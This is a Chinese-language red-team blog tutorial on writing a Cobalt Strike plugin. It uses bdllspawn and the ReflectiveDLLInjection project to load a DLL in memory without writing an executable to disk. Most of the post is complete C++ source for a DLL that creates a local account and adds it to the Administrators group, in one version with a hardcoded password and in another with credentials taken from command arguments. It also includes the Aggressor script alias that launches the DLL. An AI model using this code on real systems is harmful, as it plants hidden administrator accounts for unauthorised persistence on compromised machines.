前言
Cobalt Strike是目前红队必备的工具, 最近也在学习相关的插件编写,我们渗透的过程中都是有对应的程序,上传到服务器上来实现我们想要的功能,这样都需要exe落地,如何让他不落地呢?
- 使用过bexecute_assembly编写C#程序进行不落地加载执行程序。
- 其他程序还有bdllspawn通过反射DLL来执行。
Cobalt Strike的bdllspawn
是基于项目ReflectiveDLLInjection来实现的。使用开源项目ReflectiveDLLInjection
来实现我们的功能,也是接着昨天写的Windows API Tools 来进一步操作。我们只需要把C++编写的功能写到ReflectiveDll.c里即可
环境
系统:Win10
编译环境:Visual Studio 2019
测试环境:Win10
ReflectiveDLL
默认的demo
DLL的主函数在经过DLL_PROCESS_ATTACH的时候,开始执行代码。程序通过DLLMain函数的lpReserved来当做参数传递。
编译该项目我这里生成x64的DLL
CS测试插件
alias hello {
bdllspawn($1, script_resource("reflective_dll.x64.dll"), $2, "test dll", 5000, false);
}
测试效果
功能编写
我们今天主要想实现的功能是加用户``密码
写入对应的程序,直接copy之前的项目
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include <string>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
#pragma comment(lib, "Shell32.lib")
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
ui.usri1_name = L"zhangsan";//账号
ui.usri1_password = L"zhangsanfengYYDS!@#123";//密码
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) {
//添加用户成功
printf("Add User successfully\n");
// 添加过的用户加入到administrators组
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = ui.usri1_name;
if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
{
//添加管理员成功
printf("Add Administrators Group successfully\n");
}
else
{
//添加管理员组失败
printf("Add Administrators Group Fail");
}
}
//
// Otherwise, print the system error.
//
else {
//添加用户失败
printf("Add User Fail");
}
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
参数处理
前面的属于把账号密码写死到程序里,这样不够灵活,我们需要把lpReserved
做一个类型转换将它转换成命令行参数的格式。
定义参数
#include "ReflectiveLoader.h"
#include <string>
#include <lm.h>
#include <shellapi.h>
#pragma comment(lib, "netapi32.lib")
std::string szargs;
std::wstring wszargs;
std::wstring wsHostFile;
int argc = 0;
LPWSTR* argv = NULL;
类型转换
在ReflectiveDLL中是通过DLLMain函数的lpReserved来当做参数传递,我们需要把它转换成命令参数格式的。
//string 转 wstring
std::wstring StringToWString(const std::string& str)
{
int num = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, NULL, 0);
wchar_t* wide = new wchar_t[num];
MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, wide, num);
std::wstring w_str(wide);
delete[] wide;
return w_str;
}
szargs = (PCHAR)lpReserved;
wszargs = StringToWString(szargs);
argv = CommandLineToArgvW(wszargs.data(), &argc);
功能编写
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include <string>
#include <ctime>
#include <stdlib.h>
#include <lm.h>
#include <windows.h>
#include <shellapi.h>
#pragma comment(lib, "netapi32.lib")
#pragma comment(lib, "Shell32.lib")
std::string szargs;
std::wstring wszargs;
std::wstring wsHostFile;
int argc = 0;
LPWSTR* argv = NULL;
//string 转 wstring
std::wstring StringToWString(const std::string& str)
{
int num = MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, NULL, 0);
wchar_t* wide = new wchar_t[num];
MultiByteToWideChar(CP_UTF8, 0, str.c_str(), -1, wide, num);
std::wstring w_str(wide);
delete[] wide;
return w_str;
}
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus;
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
if (lpReserved != NULL) {
szargs = (PCHAR)lpReserved;
wszargs = StringToWString(szargs);
argv = CommandLineToArgvW(wszargs.data(), &argc);
}
ui.usri1_name = argv[0];//账号
ui.usri1_password = argv[1];//密码
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) {
//添加用户成功
printf("Add User successfully\n");
// 添加过的用户加入到administrators组
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = ui.usri1_name;
if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
{
//添加管理员成功
printf("Add Administrators Group successfully\n");
}
else
{
//添加管理员组失败
printf("Add Administrators Group Fail");
}
}
//
// Otherwise, print the system error.
//
else {
//添加用户失败
printf("Add User Fail");
}
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
测试效果
Reference
https://payloads.online/archivers/2020-03-02/1/ https://github.com/stephenfewer/ReflectiveDLLInjection https://blog.csdn.net/weixin_43956962/article/details/105843803 https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn https://uknowsec.cn/posts/notes/ https://blog.csdn.net/weixin_42837024/article/details/106278980